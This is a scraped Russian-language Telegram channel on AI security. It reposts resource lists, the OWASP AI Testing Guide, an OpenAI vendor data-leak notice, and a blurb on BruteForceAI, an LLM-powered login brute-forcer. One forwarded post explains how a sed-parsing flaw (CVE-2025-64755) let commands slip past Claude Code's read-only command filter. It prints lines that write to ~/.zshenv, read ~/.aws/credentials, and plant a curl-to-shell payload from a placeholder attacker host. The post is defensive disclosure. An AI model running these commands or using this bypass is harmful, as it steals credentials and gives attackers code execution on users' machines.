AGI Security – Telegram
AGI Security
173 subscribers
33 photos
3 videos
9 files
76 links
Artificial General Intelligence Security
Download Telegram
🔳 Небезопасный AI. Тёмная сторона технологий.
Forwarded from PWN AI (Artyom Semenov)
Как APT используют LLM/AI-агентов ...
Forwarded from GitHub Community
Аwesome-generative-ai-guide — единый репозиторий для обновлений исследований в области генеративного ИИ, материалов для интервью, блокнотов и многого другого!

🐱 GitHub
Please open Telegram to view this post
VIEW IN TELEGRAM
Awesome AI Security

Подборка ресурсов, исследований и инструментов для обеспечения безопасности систем искусственного интеллекта.

https://github.com/TalEliyahu/Awesome-AI-Security
2
Матрица областей действия безопасности генеративного ИИ

Системы агентного ИИ могут автономно выполнять многоэтапные задачи, принимать решения и взаимодействовать с инфраструктурой и данными. Это изменение парадигмы, и организациям необходимо к нему адаптироваться. В отличие от традиционных систем управления бизнесом, работающих по шаблонам «запрос-ответ» без сохранения состояния, системы агентного ИИ предлагают автономные возможности, постоянную память, оркестровку инструментов, проблемы идентификации и агентства, а также интеграцию с внешними системами, расширяя круг рисков, которые организациям необходимо учитывать.

https://aws.amazon.com/ru/blogs/security/the-agentic-ai-security-scoping-matrix-a-framework-for-securing-autonomous-ai-systems/
🔥1
BruteForceAI - AI-Powered Login Brute Force Tool

BruteForceAI — это передовой инструмент для тестирования на проникновение, который радикально меняет традиционные атаки методом подбора паролей, интегрируя большие языковые модели (LLM) для интеллектуального анализа форм. Инструмент автоматически определяет формы входа с помощью ИИ, а затем выполняет сложные многопоточные атаки с использованием моделей поведения, имитирующих человеческое.
1
Forwarded from 🕷 BugBountyRu
Раньше не принимали отчеты со сканеров, настало время запретить ИИ-галлюцинации (которые тоже могут быть своебразной атакой мусорными отчетами на триаж/дефектовщиков): https://daniel.haxx.se/blog/2025/07/14/death-by-a-thousand-slops/
This media is not supported in the widget
VIEW IN TELEGRAM
Forwarded from AISecHub
OWASP-AI-Testing-Guide-v1.pdf
6.2 MB
OWASP AI Testing Guide v1.0

The OWASP AI Testing Guide establishes the missing standard: a unified, practical, and comprehensive framework for trustworthiness testing of AI systems, grounded in real attack patterns, emerging global standards, and the lived experience of the AI security community.

Source: https://github.com/OWASP/www-project-ai-testing-guide
🔥2
Forwarded from OK ML
Как ошибка в разборе sed привела к обходу read-only защиты в Claude Code? CVE-2025-64755

Недавно была обнаружена критическая уязвимость в Claude Code, позволяющая обойти механизм read-only защиты и записывать произвольные файлы на хосте. Проблема получила идентификатор CVE-2025-64755, а исправление выпущено в версии 2.0.31. ✌️ Если обновляешь Claude Code вручную - самое время сделать это.

В Claude Code - сложная последовательность проверок для фильтрации bash-команд, которые модель может выполнять. Идея в том, чтобы разрешать только безопасные команды 👀, а опасные ьлокировать. Для этого используется:
🙈список безопасных команд и аргументов;
🙈множество чувствительных регулярных выражений;
🙈отдельная LLM (Haiku), которая проверяет, не содержит ли команда инъекцию;
🙈механизм checkPermissions для каждой встроенной тулы.

Однако весь этот сложный механизм имел одну точку провала - парсинг выражений в команде sed 🪞. Валидация выражений sed полагалась на несколько регулярных выражений, которые должны были выявлять опасные шаблоны. Но проверка была неполной. Благодаря особенностям реализации sed на macOS и неточно подобранным regex можно было выполнить команды вида:

echo 'runme' | sed 'w /Users/xpn/.zshenv'

Или
echo 1 | sed 'r/Users/xpn/.aws/credentials'

Claude Code доверял такой команде, считая её безопасной. 😏 В результате становилось возможным:

1. Запись в произвольный файл
Например, в .zshenv:

echo 'malware' | sed 'w ~/.zshenv'


2. Чтение конфиденциальных данных
AWS credentials, SSH keys, токены и тд и тп

3. Получение RCE через login shell
Вписав payload в .bashrc / .zshenv:

echo '$(curl attacker.sh | sh)' | sed 'w ~/.zshenv'

После запуска терминала - полный RCE.

Это пост - напоминание всем, кто строит агентные системы! 🌡️Инструменты интерпретации команд требуют не регэкс проверок, а строгих, формальных методов анализа.

Всё!
🆗
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Femida
Утечка из OpenAI

OpenAI стал рассылать пользователям письма о том, что их данные об использовании API платформы OpenAI украдены 😒

Говорят, что пострадала 3rd-party аналитическая платформа, и никаких «критических пользовательских данных» типа данных чатов не утекло.

На этот раз пронесло, но запоминаем правила старые как мир: не общаемся с GPT на щепетильные темы, и тем более никогда не отправляем в неё чувствительных данных.

Информации о продаже базы пока не появлялось 👀
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from PWN AI (Artyom Semenov)
Сохранёнок у меня, как обычно, вагон, но вот структурировать всё это руки доходят не всегда. Был ещё и незакрытый вопрос: «А что есть в Китае по AI Security?».

Если глянуть публикации на arXiv, китайских исследователей можно увидеть везде. Но кто именно лидирует по публикациям? Какие компании делают open-source (и проприетарные) решения для защиты пайплайнов, а также применяют классический ML в ИБ? Кстати, с последним вопросов меньше всего.

В итоге пришла мысль собрать всё это в единый список. Так появился он:

☺️ https://github.com/wearetyomsmnv/Awesome-China-AI-Security/

Список получился подробным и структурированным, многое удалось выделить в отдельные блоки.

Всё ради того, чтобы интересующиеся могли сразу пропустить титанически сложный процесс поиска ресурсов. Переводить репо на другие языки я не планирую, но вы всегда можете кинуть pull request или сделать форк, добавив свои находки.
Please open Telegram to view this post
VIEW IN TELEGRAM